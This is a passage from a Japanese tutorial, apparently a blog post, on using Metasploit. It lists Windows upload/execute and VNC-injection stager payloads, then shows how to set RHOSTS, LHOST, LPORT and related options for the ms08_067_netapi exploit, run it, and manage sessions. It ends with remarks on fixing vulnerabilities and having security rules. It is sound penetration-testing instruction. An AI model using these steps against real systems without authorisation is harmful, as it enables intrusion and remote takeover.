   110  windows/upexec/bind_hidden_tcp                                       manual  No     Windows Upload/Execute, Hidden Bind TCP Stager
   111  windows/upexec/bind_ipv6_tcp                                         manual  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   112  windows/upexec/bind_ipv6_tcp_uuid                                    manual  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   113  windows/upexec/bind_named_pipe                                       manual  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   114  windows/upexec/bind_nonx_tcp                                         manual  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   115  windows/upexec/bind_tcp                                              manual  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   116  windows/upexec/bind_tcp_rc4                                          manual  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   117  windows/upexec/bind_tcp_uuid                                         manual  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   118  windows/upexec/reverse_ipv6_tcp                                      manual  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   119  windows/upexec/reverse_nonx_tcp                                      manual  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   120  windows/upexec/reverse_ord_tcp                                       manual  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   121  windows/upexec/reverse_tcp                                           manual  No     Windows Upload/Execute, Reverse TCP Stager
   122  windows/upexec/reverse_tcp_allports                                  manual  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   123  windows/upexec/reverse_tcp_dns                                       manual  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   124  windows/upexec/reverse_tcp_rc4                                       manual  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   125  windows/upexec/reverse_tcp_uuid                                      manual  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   126  windows/upexec/reverse_udp                                           manual  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   127  windows/vncinject/bind_hidden_ipknock_tcp                            manual  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   128  windows/vncinject/bind_hidden_tcp                                    manual  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   129  windows/vncinject/bind_ipv6_tcp                                      manual  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   130  windows/vncinject/bind_ipv6_tcp_uuid                                 manual  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   131  windows/vncinject/bind_named_pipe                                    manual  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   132  windows/vncinject/bind_nonx_tcp                                      manual  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   133  windows/vncinject/bind_tcp                                           manual  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   134  windows/vncinject/bind_tcp_rc4                                       manual  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   135  windows/vncinject/bind_tcp_uuid                                      manual  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   136  windows/vncinject/reverse_hop_http                                   manual  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   137  windows/vncinject/reverse_ipv6_tcp                                   manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   138  windows/vncinject/reverse_nonx_tcp                                   manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   139  windows/vncinject/reverse_ord_tcp                                    manual  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   140  windows/vncinject/reverse_tcp                                        manual  No     VNC Server (Reflective Injection), Reverse TCP Stager
   141  windows/vncinject/reverse_tcp_allports                               manual  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   142  windows/vncinject/reverse_tcp_dns                                    manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   143  windows/vncinject/reverse_tcp_rc4                                    manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   144  windows/vncinject/reverse_tcp_uuid                                   manual  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support

setコマンドを使用して必要に応じてモジュールのパラメータを設定します。
RHOSTSパラメータにターゲットシステムのIPアドレスを設定する場合は、以下のコマンドを実行します。

モジュールのパラメータ設定
msf5> set ＜設定項目＞＜設定値＞

msf5 exploit(windows/smb/ms08_067_netapi) > set rhosts 1.2.3.4
rhosts => 1.2.3.4

パラメータを設定後、show optionsコマンドを使用して値が正しく設定されていることを確認できます。

よく使用されるパラメータは下記の通りです。

RHOSTS：ターゲットシステムのIPアドレスとして単一のIPアドレスまたはネットワーク範囲を設定できます。CIDR（クラスレスドメイン間ルーティング）表記（/24,/16など）またはネットワーク範囲（10.10.10.x – 10.10.10.y）をサポートします。また、file：/path/of/the/target_file.txtファイルを使用し、ターゲットを1行に1つずつリストとして使用することもできます。
RPORT：脆弱なアプリケーションが実行されているターゲットシステムのポート。
PAYLOAD：エクスプロイトで使用するペイロード。
LHOST：攻撃側のマシン（Kali Linux）のIPアドレス。
LPORT：リバースシェルが接続するために使用するポート。これは攻撃側のマシンのポートであり、他のアプリケーションで使用されていない任意のポートに設定できます。
SESSION： Metasploitを使用してターゲットシステムに確立された各接続には、セッションIDがあります。これは、既存の接続を使用してターゲットシステムに接続する悪用後のモジュールで使用します。

再度、setコマンドを使用するとパラメータを上書きします。また、unsetコマンドを使用して任意のパラメータをクリアしたり、unset allコマンドを使用してすべての設定パラメータをクリアしたりすることもできます。

設定は変数になっているため、グローバルに全てのモジュールに同一のパラメータを設定したい場合はsetgコマンドを使用して設定することができます。また、unsetgコマンドですべての設定パラメータをクリアします。

モジュール（エクスプロイト）の実行

モジュール（エクスプロイト）の実行は以下のコマンドを実行します。また、-zオプションを付与すると、バックグラウンドで実行します。

モジュール（エクスプロイト）の実行
exploit

エクスプロイトが成功した場合、セッションが作成されます。セッションが作成されるということはターゲットシステムとの間に確立された通信が確立されたことを意味します。sessionsコマンドを実行することで既存のセッションを確認できます。

おわりに

物事の考え方として何もしなければ何も変わりません。

例えばツールなどを導入し、システムにおける脆弱性を可視化しても対応しない限り、根本的な問題解決にはなりません。

社会の仕組みとして道路交通法が存在しない場合、事故が起きる確率は高くなります。
企業においても情報資産の取り扱いなどセキュリティに関するルールが存在しない場合、その分損失的なリスクを上げる確率が上がりやすくなります。

抽象的かつ広範囲な課題は本質的な思考が求められます。

参考

アタッカー、クラッカー ↩
本記事執筆時点（2022年5月）の情報 ↩
Proof of concept(PoC) ↩